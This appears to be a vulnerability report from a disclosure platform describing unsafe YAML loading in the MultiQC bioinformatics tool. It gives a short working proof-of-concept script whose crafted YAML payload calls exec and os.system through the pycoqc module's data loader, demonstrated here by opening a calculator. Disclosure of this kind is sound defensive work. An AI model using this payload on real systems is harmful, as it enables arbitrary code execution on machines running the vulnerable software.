Code Injection in ewels/multiqc
Valid
Reported on
Jan 30th 2021
Description
MultiQC
Aggregate results from bioinformatics analyses across many samples into a single report.
Vulnerability
Vulnerable to YAML deserialization attack caused by unsafe loading.
Proof of Concept
Installation
pip3 install multiqc
Run exploit.py
import os
#os.system('pip3 install multiqc')
from multiqc.modules.pycoqc import pycoqc
payload = """cmd: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
pycoqc.MultiqcModule.load_data('Anon-Artist',payload)
python3 exploit.py
Impact
Arbitary Code Execution
to join this conversation